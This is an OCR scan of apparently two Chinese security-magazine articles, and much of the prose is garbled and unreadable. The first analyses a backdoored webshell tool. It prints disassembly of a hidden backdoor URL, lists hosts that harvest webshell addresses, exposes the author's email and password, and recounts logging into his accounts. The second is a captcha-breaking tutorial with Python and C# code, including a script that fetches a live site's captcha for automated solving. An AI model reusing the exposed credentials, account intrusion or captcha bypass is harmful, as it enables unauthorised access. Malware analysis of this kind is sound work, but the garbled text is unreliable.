push offset dword_481A5C

push offset dword_4020E4

push offset aHttpCd_myth321 ; “http://cd.myth321.com/index.asp||||||I]"---
call ds:rtcReplace

nov edx, eax

lea ecx, [ebp+var_74]
call esi ; _ vbaStrHMove
mov edx, [ebp+var_L44]
push edx
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http://demo.hmseo.org/db.asp
http://dns.haotianlong.com/index.asp
http://jsc.i06.com.cn/www.asp

http://pkpxs.com/index.asp
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http://s.anylm.com/anying/index.asp
http://tophack.net/
http://www.0744m2.com/index1.asp
http://www.668168.xyz/lindex.asp
http://www.gnrgs.cn/webshell.asp
http://www.histtay.com/index.asp
http://www.huaidan98.com/cd/index.asp
http://www.jpwking.com/index.asp
http://www.weblinux.xyz/

http://www.zgcaid.com/index.asp

0x07 HEXIFTiE
(1] : EEEEREE—PENT]
(http://huaidan.org/archives/3472.html)

[2] : Breaking Down the China Chopper Web Shell - Part |

(https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web
-shell-part-i.html)

Breaking Down the China Chopper Web Shell - Part I

(https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web
-shell-part-ii.ntml)

(3] : SBRAYMULEIRERG — PEERT] 20141213 FhikTs

(http://www.freebuf.com/tools/54178.html)

(4] : 2015 FhEMELERE

(http://zt.360.cn/1101061855.php?dtid=1101062368&did=1101536490)

(2353 ) R/1EHIE : Rexy

F2T FERIIHEEM=BALETEFIC

/& g7F

kB8 : BSEANRE

pIiLE : http://drops.wooyun.org/

BEE , HXKEREERN , ETEARE (MENEBWRIIZE-THARIZE —

—HERTINRFEF) —X , TRRIR , WERARNNARE , T T™ET—
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FERTIERIBE 360 ik “"MATFHH whois (SEE/R | iZI%& EAMEFE
root90sec@gmail.com , FERY , IZEBFERFTIAEEM “maicaidao.me” XMFEEZ, L
BRI —EXMRE SOZAAEE EXMMENEAERRE sec BRRRRZ—,
BETRNENMAZRT |, BB LB ERES.”
HIHREARERIFFEEAZT R , XEXHNE—TIE , FEEEHPENEZEH
RE , Tl EEBEcH—mhE.

0x01 {SEUGEE

BEME , ATEREEFSESFON , MERGET wireshark , BT MNITIRRE HTTP
Y, $E TSR IP htANIES | AERERABSHNERKMNERWENZ | HXBiREE
B IP BN CR , TESWESSRAVERERE T FiEdE. mOMNASHIER  #iES , 7
RIBREERIN B ERER 7 — N FHAN SRR XIMRRN , B, B REEXET
BB BRH AR | 360 RERMt i I FBA tEimE MOz & Z BFRAIMERE  WEENMY
EREPREERATINERED.

0x02 GZREMIIRE

A, WESEERHITARIL , 9128.cc Fl maicaidao.co i ZigMAAIERE—Mttit,

Resolutions 3 L
Primary 128.cc T
TLD w
e ompromised:? true false
F
Dynamic DMNS true <
Classify malicio
suspicious Routable/Mon-routable Routable
nen-maicious | N
nkenan
Monitor - Select a date or dates (shift-click) on the Heatme
Resolve Locatlomn Metwork First
2015-11-22
23.252.165.18 s 232521650024
N 23:51:54
20174-12-30
103.253.741.68 HK T03.253.1417.0/24
= 06:38:12
Consider tagging domains and IPs in
order to remember small details like if 98.126.107.190  US 981261070024 49;33_:04_10
it were suspicicus or compromised! dro P38 un org

K 2-2-1
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( TBSEFRrBRY 9128.cc HAEKARITCR WE-2-2-1)

Resolutions 5 M
Primary maicaidaoc.co T
TLD co w

Ever Compromised? true ‘
Dynamic DMNS true 3

-
il N BN N
RN

-

suspicious RoutablesMon-routable Routable
nor-maicious - N
unknown
Ceclsr . Select a date or dates (shifi-ciici) on the Heatm,
L:J Resolve Locatlon Metwork First
TAGS
- 2015-10-18
) 2325216518 LS 232521650024 159298
- — 2015-10-16
O 104.27.187.242  NiA 10427.1760/20 o0
- 2015-10-16
104271856242 NrA 104271750020
Add tag 08:50:28
- 2015-10-16
UNIQUE (4) p— [ 10427.187.242 N/A 104271760020 1 oo
. 20714-12-15
L 103.2535.141.68 HK 103.253.141 0."24
104.27.187.242 2 O —
K 2-2-2

( [ASERBRY maicaidao.co B IERFITICRAUNE-2-2-2 )
X THEA ERTLBEXNMENESE IP il Y |, 48 HOST MUidpkth , Bl
cloudflare =R | IXENEISARAF I 7 ##E 23 FFELRIMERESZ SEFROAYSMER |
—RERRERIEEEEFHE. AR o RIMI— M ERHN—EERNE —EHAI
http://www.threatexpert.com/report.aspx?md5=4b4a956b9c7dc734f339fa05e4c2a
990

maicaidao.me

ATTRIBUTES .
Heatmap  Potential Malware @)  WHOIS

First Seen 2015-05-08 11:16:36
Sep

Oct Mo
Last Seen 2016-03-06 12:52:39 5 nﬂnl
Resolutions 5 M nnnl
Primary raicaidao.me ! nnnl
TLD me W n! ¥ OOV, 01

K 2-2-3
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(maicaidao.me HEXAYFENTICRAIE-2-2-3)

€ € [ v, threatezpert. com/report. aspx fnd5=dh 42056k 0T de T34£339F a0 e de 22050 Ha{‘] ®

1) File system Modifications

@ The following files were created in the system:

# Filename(s) File Size File Hash Alias
1 ShTemp3\JET7A4B tmp 0 bytes MDS: 0x04108C03F00B204E9800098ECFR427E {not available)
9 TempI\JETTASE. tmp SHA-1: 0xDAI9AIEESEER4B0D3255BFEF956018904FDB0V0Y
2 BSystem¥tcache.ldb 64 bytes MDE: Dx7424C02561CC848031808412464BB003 (not available)
FSystemdatdb. db SHA-1: 0x9CH3COEOGR1ERFICFEC4B2532663090A00B253072
3 %Systemicache.tmp 86,016 bytes  MDS5: DxGFBBCO3450051654059DER3A085F 3404 (not available)
SHA-1: 0xBE563204CDFFTAER3CANSSE7E2BTCERFTEICIRAR
4 %Systemt\db.mdb 159,744 bytes MDS: Dx161BCEB30221BDDEDRFCFFAIZ1951794 {not available)
SHA-1: 0xD182786E2C0955070EEGF CAIEQG0ZADIETILAASE
5 [file and pathname of the sample #1] 220,160 bytes MDS: Ox4B44056RICTOCT34F 339F ADSE4C2A990 Mal/Behav-294» [Sophos]
SHA-1: 0x4A058FOFRISF407F36000EB2CTDET741A42CB108 packed with UPX [Kaspersky Lab]
O MNotes:

v 9aTemp% is a variable that refers ta the temporary folder in the short path form, By default, this is C:\Documents and Settings\[UserName]'Local Settings\Tempt, (Windows NT/2000/%P).

b 96SystemS is a variable that refers to the System folder, By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32
(Windows %P},

E Memory Modifications
O There was a new process created in the system:

Process Name Process Filename Main Module Size

[filename of the sample #1] [file and pathname of the sample #1] 733,184 bytes
drops.wooyun.org

K 2-2-4

(maicaidao.me FBXIASIREUNE-2-2-4)

BRXNMRE | [RREIERXNPERIIADSEZSHT T, sINERm !

B. EEETXEERERET 2 RAJEXIEXAY IP g C ERAUMIER SRR, WEB i,
BREEMMCEE K/ NSHEEREHERAEFRISS SR T —iE 2 K TRIRAIRT AR
& | NiZRERREREL T REREMISRRFISET | MixEELNME  ERARBELT
T oo

C. BETHIX , iREASLET  BENLEIILE , BZEIREZIR email E58m
A RRRIEERBRE IR ssI AU imap A 90sec RIEREFRFE MEREIRIEMSEMir=aa 111!
7 —RRIEZIATFTHIT ! IBEAK ssl imap 993 , BalHGE T
“root90secfuckyou” JEERRINT !!

BRTIBEN ERHRTE,
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[ a | g5 0 @

M Cc BEEE- # HRE

root90sec@gmail.com

. E R
a i m % + -~
= EMkR
GoDaddy My GoDaddy Summary - December 2015 - Review your December 2015 account summary and save 40%". |
GoDadd s: . Stk A B
y ave 33% on .com domains - ming. this is your chance to pick up the most popular domain on the planet for
GoDaddy You've still got time to save 30%". - Act fast, ming. Shop our catalog today and save on everything you need for your online business to 201510017
- GoDaddy Shop and save 30%." It's on us. - We're here to help you succeed online, ming. We've got the right tools for every business and 2015110115
a GoDaddy You've still got time to save 30%". - Act fast, ming. Shop our catalog today and save on everything you need for your online business to 2015/9/17
GoDaddy shop and save 30%." It's on us. - We're here to help you succeed online, ming. We've got the right tools for every business and 2015/9/14
GoDaddy Status Alert: Domain Change Notification - Domain Backorder Notification 24/7 Support: (480) 505-8877 ming long — Cusiomer Numbe 2015/8/21
GoDaddy Shop and save 30%." It's on us. - ming long, this special offer won't last much longer. Redeem your 30%" savings today. GoDaddy 24/ 2015/8/17
GoDaddy Shop and save 30%." It's on us. - We're here to help you succeed, ming long. We've got the right tools for every business and drops AHEAH 1y

K 2-2-5

( B#R gmail a0&-2-2-5)

HEUEIMEZITRSH godaddy B4 , X TABEIRT  BIEELEE.

8 @ nus ) E3

N i ek Bl

MRl a

s FIEARA - e ZE

maicaidac.co 15M0R017 )

S — e
101 ‘

BT 12/2HE BHETER:
EEEHiRRT WirEEh

drops wogyun org
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( RIEEEBHNGEZEERE WE-2-2-6)

8 @ nu= S E3

N i ek BeEt

MRl a

s FIEARA - e ZE

maicaidac.co 15M0R017 )

S — e
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BT 12/2HE BHETER:
EEEHiRRT WirEEh

drops wogyun org
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( maicaidao.co 1HZ18M7T cloudflare aNE-2-2-7)

1 T XBLIGERFREBRERERER  DHMZRI A BHRANORBH | B mEhiiA
KBS | BT —THEZENZMREAERMNE , B9 cloudflare 7 cdn BIASISERRI
it , EER—AESTELI , IEEA gmail ZKE , EREERINT | 1815 |, E5E

RERLH.

&« X [9127.0.0.1:3311

BIEE8 BEFGEE
wisH ¥ 3.4.8{enterprise)
g C:\Program Files\Bangteng\kang
A E1D
- 1A PG 121547
FANEIHA 2017-02-28 [EHFER]
FERLEMN, FEPUREE OK
T FHRL
[€] 54%1E [(FTErEET) (Fialkf%F)
ZE1F080:32353
|IPIERE PITFEETE: 90N
R ETT: T
ii&f%;a e drops.wooyun.org
K 2-2-8

( — R REMCER AT I ECE A ARG WNEl-2-2-8 )

ATEEXMEFE KNE—MRERENEERMINE 27 RESE 7 — @R ET
ERMULRIME DT BHREEENIERE JavaSscript , X TEMEKZILSHIAB M
NEFAIRERITERS , LUK cookies IRERRFAK T,

Eawty IR —ERAERNEEAEERART , BTCRHARNBRRASBENT |

BIRBRE post 1252 shell FIEIRE AR EIFARS KT  BRRTFMEIHERILT shell
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M !

i

LERTR T | MIEBEIMRSAEFIIEEE | RERIUXEAMB—FE  EXEX

el

l.l

HiEEIREEERAIBLT.

]

HXENRET  BET-THEESELEIRMUR , HEAKEEN SR THRIRGAER
RE ARG, —BERFLEIREEM EN\RT |, PPZTER , L7 —MEEMRN
APl 00 BT MEFBKRERIT NH BTN EIRE FREEEETR 2 =,
R ANFERBHMERESSZISIMUBEHT | KBNE T —IRME—SNFIRE—FEEEkX
ERSZBENF TIXNBET | BEERSSAERI R S EERHNMEHKEZR T |,
BRXAZMMY , MTABRAEETER?

BEIZ , NERFXMBFE |, XM 360 ZE2EATEFR “AFF whois {58515 AR
#8739 root90sec@gmail.com F AFEHR sec BARMRZ—" HHXMIEFE , =X TH
ZIREBXNE—ERBERT 90sec , FAIENAMAIEX AN , BN | QIR
RUITFRERNFHAABEEE , BBAFE , HLAREI EHERAERE 7 — MERE sec
RULIEREMRE | AMFELERIRERIMNCR | MEAXRSHKE T KIS,
EXMFET | (FHENE 75— ARSI PR | R TRHERAEHEE
B, XIRFEeBFFEE—RT |, XMHE—HHE IDC RALARIRI 0BRSS 15
RATE  EEIMERHABRAIRSSEHMAX A IDC LAY , X MFEELAES R T
—Elp4S IDC EIR ( SFEIS 18NS | STMIAX MRS 2EHSCREEL IDC BWEN |,
BANEZT—HRER | IWEXKRERERER,

EHFERIZINERRFS , T —RAIINEREE | B2 IDC EERNE , BAFEN
BREAERAR  BERRTHLS IDC, 3K IDCIEHE |, 30 DI ZRY IDC EEREHM

SFREEWMIRTT , ERRAX happy 7, SRSEE—FBEENRAITE) , B T/LKRERE
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B 30 txt L BB MAIH 2016-3-6 17:50 A

#]act. php I KB PMP 3R 2014-10-18 0:4T A
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( RIBRE—TARAEBRANS LA T | BIIKE  XREBKL—FH)

AT EHEMNZE , 3T SURISHRREAEBIARRRS  KIPRANZERAR IR
PREESIRIMERT 170MB RIS A, BII=E7% shell , MizBEER&EARH TIE,
0x03 458

AN BERNFER N THAR—ESF— T —ELRMSETETR— LR FEZENT
LS |E  RIESFARS | I AFHERERIRAER SRS HE 72
—ERRBES A AR TIRRMHEE  BREARREFAZERBIANIER , EXWET
ERNRERESHFREERE  FEANAMBRBERE PR BRI ESLATIK
L—ARREz—  SUARSERE.
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E=F WukSRal

110 FREIEHSRAIRTE—

{E#& : range

kB B&

pglt : http://www.secbook.net/
REAI]

B BRIGIEOANTF |, 20E 3-1-1 :
0199

K 3-1-1

XMISHEREARE T, HHRER | REEHF. RAXMISHSRLER  TER "R

->{0E->F8 |, ERBZEHEEEITFIIFE,
=R

XM EE BRI TR AR E BRI AR | —EXIE,

RE—BE , BLEEZMERRIRES "255,255,255" (rgb {EA®) , LLBIERR

fREH "0,00" (rbg {EFRE) , BT :

def binary(f):
img = Image.open(f)
pixdata = img.load()
fory in xrange(img.size[1]):
for x in xrange(img.size[0]):
if pixdata[x, y][0] < 90:
pixdata[x, y] = (0, 0, 0, 255)
fory in xrange(img.size[1]):
for x in xrange(img.size[0]):
if pixdata[x, y][1] < 136:
pixdata[x, y] = (0, 0, 0, 255)
fory in xrange(img.size[1]):

for x in xrange(img.size[0]):

194 U1 / B 250 T AUHEHE R e Mok 2

Zif, VIZIHTARE M.
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if pixdata[x, y][2] > O:
pixdata[x, y] = (255, 255, 255, 255)

return img

Fi8

XAHUSECTET |, EEHIR SRS E AT | XEEIERIHEEAES

#!/usr/bin python
#coding: utf-8
import os ,Image
j=1
dir="./data/"
for f in os.listdir(dir):
if f.endswith(".gif"):
img = Image.open(dir+f)
foriinrange(4):
x=7+i*13
y=0
img.crop((x, y, x+9, y+20)).save("./font/%d.bmp" % j, 'bmp')
print "j=",j
j+=1

tnEl

=1 ERTIEIR 4 NMIMR | SEHITRERIEE , BT

def cut(img):
font =[]
foriin range(4):
x=7+i*13
y=3
font.append(img.crop((x,y,x+9,y+13)))

return font

L2517
MECEGIRILUERS , BREMSE  HhRHERESH. NSRRI XA ERIIED |

KRBT , BT

def compare(img, im):
num =0
for x in range(9):
foryin range(13):
if img[x, y] !=im[x, y]:

num+=1
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return num

AEMNLEFHMRES , MRER num BEEERS/N , BHEFERERER/IFE |, BIEHA
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£q "M X
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NIBEXERY , 20E 3-1-4

EMwx .
v HMp|,
] 3-1-4
BHERERRKRT  FILMES TXERER  BIFINERNGRERRHEERIRS  BHE
BERENMEERREEGEZMEER  MREGEZARNGERZFVNFET 2, BlBIAAR
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S , )R CEAYELGRERR , XT AR BRI AR AR

TRETFR
BEREHREEMBIEE R
FRFREHWE—E

MASGHICHIMRXRAVIOIES. XN TAFES REHRBAE. WEFR, IRERNERIER

FhEEEAD TEEMR 100%5R51ZR |, 20E 3-2-3 :

3-2-3

XFEAITIE T [ TESEEE wooyun FIIRIERS ,Wooyun HILGIFRSA FEFURZS JNE] 3-2-4 :

wES: [ O
EHIFRS ms__ 4Kuﬁ_

3-2-4

—MRABNFREER  —TERENFXBER.

MRRAE—F , TIERWMRE , —MRIEEERIFN_ENX. ERERRRAZRERM
FTLAFREERIRISREIEARTT . BRET  FBUGHRMRIE. XNTREXF , HHBE— M8/
—RRE. WTFReNT , BHMA— MR —RRE.

(ERXHEESHA—NIE , BBEXF_ENE  BRReNFHE. MEReXF_EK

& BRABNFES , JETE—+F , W& 3-2-5:

%200 0T / & 250 U AUAHE R e ok FH 2 1S, IZI T ARER &
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K 3-2-5

AJLEY  FERAADEEXE—YIER MaiRad T e, BBERAERSEFIAHE

BN ENENFHEREBEREAR  FLRHICRBXESFXFHRIER B2 70
EROER, FTLARIXE—NMERE , HIIMXE— BN  —EEEEFSREOABRN TR

EBEREXF, TRENER—FE  BEER T —KE LB RNERSE X T XF G A

RERR. FTLME—EXRIER AT —HFE | ZEANRICR TR EME R
#  IREAH MR TERINE  BABRMERARE—NIERSGRRITMRSD X

HHICERBGRIEFIE | 1E 3-2-6

3-2-6

XA — N IEZ | BB AREH ARMRRIZERB—MRER B, JADET

%201 51 / & 250 B AUEME Bz ok FE e S5, U120 TARE &
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LIERSE | tLiBE& DRBERSTXBERR , (ERRARIE , SNMIEMER.

N, BHARIXEHMAY , W& 3-2-7 ¢
http ./ Awwrw wooyun .org/captcha .php
BHEE [ERE |
RSN BIRE S 0 Eh 4D
—{EikimEnzn

=
[

22220 BN T-inum.num]+)
F4fi nbE

RS L TS 1

R A T AR

(== O == = L= -
| "

K 3-2-7

TR EBRH T —MELBPBANIDEBINFA M XEFAEHH A FRRER B

“EtE  BRBIXE. IREHRAIXE N EEAREER | BRARIE F—MEBE. R
BREEED F ARG  FAXEIHIRTEEEHXNTRISEE T BT
BRBERNREA. MTILFRERRERBRKRGIN , MEerIeEIeER.

EXZRI—IGIERD  FIREIATRE— LA, ELaNfRE WAY—EIGIERSAINMERY JNE 3-2-8 :

AN ILASN LG
Kl 3-2-8

R IREHENNE , —BR_EURATES  ARIFRFHERT. AR TT—
%202 77 / & 250 U AXBHE R e Mok 15, V20 AR E.
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MESRRUCWERIE T , AEH—YERT. XMERHMANR T |, E#ERT,

EE—FHERERIIER AT EUHARRLEERT , ARRIRM AR , —#T B

EXFMERHMEEKT. TEXKE , REURIEFEEMEERET RIGIED R , 0E

3-2-9 :
WZ B
Z v B
NEVE

W2 r B NZVE

NZvB oK |

dropsiwooyun.org

3-2-9

FEXKENEAREERER | FNEHEF/IFRNERT | WIHBEZLEEER 500
T IXKERERENNAYRHERREE.

Hiid—TERE , FERISHEEEINE. X7, Tk, RIEECUESRBEDEHA
1 EENREREEFNNFSE FERESR RAtRSEIRel X FREER.

SNERFAIRHEAR/N | BBATKRINFIIRE T | R T —EEZEHE |, WNE 3-2-10:

I h drops.wooyun.org
3-2-10

X9 _EEBRKE A EIRIERSRY Nz FIDFHRIE ps FIARIRER RE LEEGFEFEFIHR

55203 51 / & 250 U AXHHME R Yol = SI58i, VIZIA FAREE.
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78 png IEHBEKE  (BEXEEREEE IR AR, FBEH THLRRMCENRE | 44

B ECRIMEAIFEZE BN , EENZRHRRMIT RGB #HT T HIiT , (HBEEN

T, W& 3-2-11 :
for (int = = 0, xLen = bmp.Width; x < xLen; x++) {
for (int ¥ = 0, yLen = bmp.Height; y < yLen; y++) {
byte byV = Gethvg(
byColorInfo[y * bmpData.Stride + x * 2], /b
byvColorInfo[v * bmpData.S5tride + x * 2 + 17, /g
byvColorInfo[vy * bmpData.S5tride + x * 2 + 21): fir

if ((bvColorInfo[y * bmpData.S5tride + x * 2] <= &C
&& byColorInfol[y * bmpData.Stride + ® % & + 1] <=

=)

0) 11 byV == 20)

&& byColorInfoly * bmpData.Stride + x * 2 + 2] <= &
byV = 255 //EEUAEEE
else byV = (byte) (byV > 130 % 255 : 0):
byColorInfol[y * bmpData.S5tride + x & 3] =
byColorInfo[y * bmpData.5tride + x * 2 4+ 1] =
byColorInfo[y * bmpData.S5tride + x * 2 4+ 2] = byV;
! drops.wooyun.org

K 3-2-11

QI EHETRIIOIES | REMAIE—MGIESREER. R —EICEREE  ~2—
PN ENHBERER , FTUREX N TEPIRBIIN T RETLARMRME RGB RITHEE.

HATEERXMNOEHIERIERAT T | b T — M RS SRS | BRXNE
IERE BN FEEL | FLARERENAR 127 (EARIE  RR—EXTERE  E

3-1-12 :

—{gfk + £Fi
ffEHE [127]

A 127 @E LESF—BEEYT  BREF PN FHEIEEMAFAENELT—~ |,
5204 71 / & 250 0 AUEHME R A ok 2 5g, IZIA T ARE .
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FRLAFISTHIRHE , ATLAATS RGB RISHERT 20 BIMIMAE R , AJLAUXH , WNEl 3-2-13 :
031

Fi-#EEmR AR ChgEn 14

-
[]*

- (EHEI
pm—" R s o
U -
1| TmzEE s TP =%
AZ T8 RGBVRGEEIYE)
127 AT um] num]) M:R<60|G<EO&E =60
|| @ REkEHHER
b -
TR \ O BEHEHMAEE
B EEREO TSR T
120 4 R s kTS
, LA || e |
0 i 0 i 60 i 20 i S

—

SREERFEL 7 IXHE , A& 3-2-14 :
=ttt LA e

4 SISO BRI S

—{E{tiE{E27)

.

J
127 B3N um].num]+)
FiahE

EE e R ol . B R U
EiafeE oA TS TR
0D EE Ea ] gm
‘w-wzu \ 0

XS T |, MIXMNOHEEZRR EREMERE . REN TIRBATLIRA
127 {EARE. BE—RXMOIESHBEERTER | tSRERENFITS | MREE
NF LT | BRARFAYEH TN TEATEE.

%205 00 / & 250 U AUEHE R e Dok FH = 2 1S, IZ0 TARER .
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MTLEELSRY , BT —EESR | RIREF NI BRIER | FEEHAIRHEEE—

MBEERR. HHCIBERRENTEEDBERIIFLLEIRE (BRI T—EXD
"B PR T ERE/ MRS RAMZEE—MERREE AREESR LT,

fbEEINIZERR S RHVEE.

BB—EBERME | IR EELR. BRIEANFRIRFAMATFLIET . FrATEEH

EIIRIRXEFRIIIRE  AAMRED B REEFRE—IER  BESINFER

— N EREHIBRIT.

FothiBid —LAET 5T | (BERSCNERRBREHSFE—L/NIE , FrLsERmEMH |,

MANIBAZT |, FHF 7RI | FHHRERIE.

AR

TESRIERISEHSRAFR—MER > IFF.

B LHEREXR BEEHRIRT BAARERRIN T 80% Y E AR TRIFZLIIAIEE 7.

HAET B RRMTHMSIURF , WNE 3-2-15

EiisE
@ BzhiDBlEE: O FaEEN
1
.
h
- ' il ﬁgﬁs.wmﬂ}'m].mg
3-2-15
FFIIFARR T  RXENENRBIERERNRERD  NEGHNE—MEERTTA

Eh , BABRGEE B, RRZANIERNER iR TEeERIEGNF , A8

M EBEEFIRHRIHAIER | ARTHAREER | GIF SEREMBILNT

http://static.wooyun.org//drops/20160224/2016022410202265287 .gif

55206 71 / & 250 U AXHE R A Yol = 258w, VIZIE TAREH S .
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AEEARDANT | 4NEl 3-2-16 :

for (int v = 0; ¥ < m bmp.Height; y++) {
for (int x = 0; ® < m bmp.Width; x++) {
mpt.¥ =x; mpt.Y =y;
if (m rect.5ize = Size.Empty) m rect.Location = m pt;
if (m bmp.GetPixel (x, ¥).TolArgb() !'= Color.Black.TolArgb()}) continue:
this.Depth{x, v):
EEATE «1 BECBEEAMA (right:3 lefr:z ERBRERTEZE )
m rect.Width +=1; m rect.Height += 1;
retarn;
}
}
private void Depth(int x, iInt ¥) {
if (=<0 || v < 0) return;
if (x > m bmp.Width || ¥ >= m bmp.Height) return;
if (m bmp.GetPixel(x, v).Tokrgbk() !'= Color.Elack.TolArghb()) return;

m_bmp.SetPixel (x, v, Color.Blue) ://FRi2

if (x <« m rect.X) { m rect.Width = m rect.Right - x; m rect.X = x; }
if (v <« m rect.¥) { m rect.Height = m rect.Bottom - y; m rect.Y = y; }
if (x » m rect.Right) m rect.Widcth = - m rect.X;

if (v > m_rect.Bottom) m rect.Height ¥ - m rect.¥;

this.Depthix, v + 1)

(-

this.Depthi(x + ., v):
this.Depthi{x, v - 1}
this.Depthi(x - 2, v):
this.Depthi{x - ., v + 1)
this.Depthi(x + 1, ¥ + 1});
this.Depthix + ., v - 1)
this.Depthix - 1, v - ) Fi0
} drops.wooyun.org

K 3-2-16

MTFFFEERSEMAS  XEREREEBIEEEEBN—F , MTFEMASIXNT
et | BATERXIRERERRIIGIES.

T AR RE AR ENERIIGIESAERR , METE FIREMInAStMEEERT .
HL Bl 2R HE R HAERRABIELL.

MEXTERLREAUFFIRCANR | InekifpsLER |, (BRLIMIRIIHNEA AT | IXLIE
ICHSLEFEREN , RAEREFRM TA ML, MITIEBAIRELISRE  XEBHA
HABAZT .

RITRABERBT |, FRABAGRBIS R ER |, HEMKESRIILL.

—iKZI0IERS EEAENHRAVER | —KRCAAIFAENS | W& 3-2-17

5 207 11/ B 250 U1 AUHHE R A ok 2 2158, VIZDH T ARE T E.
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private int CmpImage (Image imgh, Image imgB) {
int nCount = 0;
using (Bitmap bmplemp = new Bitmap (imgh.Width, imgh.Height)) {
using :Graphlcs g = Graphics.FromImage (bmpTemp)) {

/1 1BRE B AnfiF

g.Drawlmage (imgE, O, 0, imghA.Width, imgd.Height);

/1A EL B

BitmapData bmpDatalk = ((Bitmap)imgl).LockBits|
new Rectangle(C, 0, imghA.Width, imgd.Height),

ImageLockMode,ReadiWrite,
PixelFormat.Format24bppRab) ;
byte[] byColorInfod = new byte[imgh.Height * bmpDatald.Stride];
Marshal.Copy(bmpDatak.S5can0, byColorInfod, O, byColorInfol.Length):
L)
BitmapData bmpDataB = bmpTemp.LockBits(
new Rectangle(C, O, bmpTemp.Width, bmpTemp.Height),
ImageLockMode,ReadWrite,
PixelFormat.Format24bppRgb) ;
byte[] byColorInfoB = new byvte[bmpTemp.Height * bmpDataB.Stride]:
Marshal.Copyv(bmpDataB.5can0, byColorInfoB, O, byColorInfoB.Length):
/IEERFENEERERTE
for (int x = 0, xlen = imgh.Width; x < xLen; x++) {
for (int v = 0, yLen = imgh.Height; v < yLen: v++) {
byte byh = (byte) (Gethvg(//EEFE
byColorInfol[y * bmpDatal.S3tride + x * I],
byColorInfol[y * bmpDatal.S5tride + x + 1],
byColorInfoA[y * bmpDatah.Stride + x + 2]) =255 2 0 ¢ 23%);
byte byB = (byte) (Getvg(//IEZEH S
byColorInfoB[v * bmpDataB.5tride + x * 3],
byColorInfoB[vy * bmpDatabB.Stride + 3+ 1],
byColorInfoB[y * bmpDataB.Stride + x + 2]) =255 2 0 @ 255);
if (byR = byB) nCount++;//ETEEES

L
L L

£
* %

}
Marshal.Copy(byColorInfod, O, bmpDatah.Scan0, byColorInfol.Length):

{(Bitmap)imgh) .UnlockBits (bmpDatad) ;
Marshal.Copyv(byColorInfoB, O, bmpDataB.S3canl, byColorInfoBE.Length):;
bnpTenmp . UnlockBits (bmpDataB) ;

}

return nCount;
drops.wooyun.org

K 3-2-17

ERRHSIREIXFRKERNESIGRI N XEBRICEE RS B= a0
BEAXIEE—IK |, B nCount TREHI—MENLER
BRI AT EERESN—MRIEAER | ETEFHRERM A IRMIHEEA :

—MEERRFAIFE , —MEFIRE , ME 3-2-18 ¢

%208 U1 / & 250 i ANHHE R A A 2 AR, V120 AR
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O FEREE @ FohmHeEw)
TR
| 12345678%bcdefghifkdmnparstuvwgzABCDEFGH|

KEGQR

FehFdF

SR L

&
=
=
=
n

Kl 3-2-18

NRFEARFFR | EXANMERNMAKIERAIEHIMAIFFT | AIeREER  RBHERSXS
IEERETR  NTIFEREA, NI T—EARERR  RRFRHRERE T | TieE
IREARERA AR | SN ERFIRENS . BRI EEE T RATY
EE4REERE  EENERTEBRZRE—R  FEERIFFHERERIRY , THE#

B IFmEFR , 08 3-2-19 ¢

O FRERFE @ FENFEEEEL
FinTREE
[123456785abedefghilkdmnpgrstuvweyz ABCDEFGH|

[’#E [I'Il‘!

EEE-EE

ﬂlﬂl[‘_‘jm

K 3-2-19

Hig ERin , HFAREESHE | RAIERHEE., REXSXEZERNFIRESS 3

%209 7T / & 250 U AXBHE R e Mok SIS, V20 T AREAE.
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T XANTERR—EETEME , AFERRETARMSE S EREF rZa
MALURETLE LN "XH" > "RE"  BXERENRERTR— Y |, TTLURES
PRFREER(.ci #.ci.png) , FELIBIRRFSEER EEE | 20E 3-2-20 :

i | 5T
3T

ﬁﬁ}j ImAviize.asp?0 658511¢
5= |

‘.1!{'4 "':.'I-‘r-li.‘{"l'T:l.-H:l Ll
TeETR & :I:-.-h_._i'.-h‘-"l - MO B

K 3-2-20

MIRBIES— MM TEHTER | NRE NET WERBEBIRMRT di RE. ZRrIX

HiRit  RRARHAAEDI A RIDESRBIRESAERS | FrLABR TIRBILS M A
ERIANEREMATIEE , FRLEAERIAE SR R A EREE R | X TIRBIBR A

T STRABIEMAIENET SFENERER |, a0 3-2-21 ¢

[ConfigFile Path] —[{-‘hpl.l.] [palam]

1I"I:I VerifyTool.exe C: \te.,t ci —f C:stest.png
[fileMame ] :

[Uerif yHexDatal

[port]

UDPJ] T, 1%

[Ur11 [lefEI] [c:uukle] *EI

SIE

"L'[I —u http # AU haldu com 'YV -3 1$

3-2-21

LA python 2551 :

# coding: UTF-8
import os
result = os.popen('verifytool.exe D:\\woo.ci.png -f D:\\woo-verify.png').readlines()

print (result)

A0 D BEXFE—KE , 20E 3-2-22 :

210 00 / & 250 T AUHME B e Mol 2158, VIZIA ARG .
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m-—-_j:. woo-verify.png

drofis womam.org
Kl 3-2-22

XA LS CERAEME SEZMIERS | FIBEEZNER-p FI75zURER

# coding: UTF-8
import urllib2

from socket import *

h = urllib2.urlopen('http://www.wooyun.org/captcha.php')

str = h.read() #IREGEIERD

s = socket(AF_INET,SOCK_DGRAM);

s.sendto(str,('localhost',14250))  #1G3RENEIRIILIERD AIELIRBIFERR

code = s.recvfrom(65500) #ESRB HRAYIEIERD
print(code)
WE] 3-2-23 ;

127.0.08.1:63012 {- 1981
127.08.8.1:63612 -> R98L

=

D:\lsers \Nemo“\Documents\Wisual Studio 2812%\Projects“erif yReader\WerifyToolNhin
Releasexwerify.py
(*R98L', ('127.8.8.1',. 1425@))

D:5Uzers“Hemo“Documents™isual Studio 28125Projects“lerif yReaderslerif yToolshin
Release’

K 3-2-23

WNRFEFZNET FERE |, NnJEEE(F VerifyReader.dll 324 , BEZINGIF :

Codelnfo ci = Codelnfo.LoadFromFile("D:\\woo.ci.png");
CodeHelper helper = new CodeHelper(ci);

string code = helper.GetCodeString(Image.FromFile("D:\\woo-verify.png"));

FBHNX B ERIRAIE T — NIRRT R | 20E] 3-2-24

211 0 /& 250 T AUHME B e Mol 2158, VIZIA ARG & .
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a5l F-login 1.0 = £
EETFRNE AYEMITTEHE — 448 40 token(E8HE ARG Hreferer) T RI2E SihieER
M _EECTEEINERIEM 20 token=(1")7<20 35> "I\ MIFERIAH R O] L A REGER =] TR FEEE
R EY UTF-8 -
Post#iiE “F1E AGet
SairE it /| R kiE
LGN Clifin TH
IR E RS =R ED ERAMTTEE A= ED
S mEmd It LE R R L IR E M TERANIE
BAE =B WED  WEKE & SAE
SrER
EikiBA
HBRIAiE:
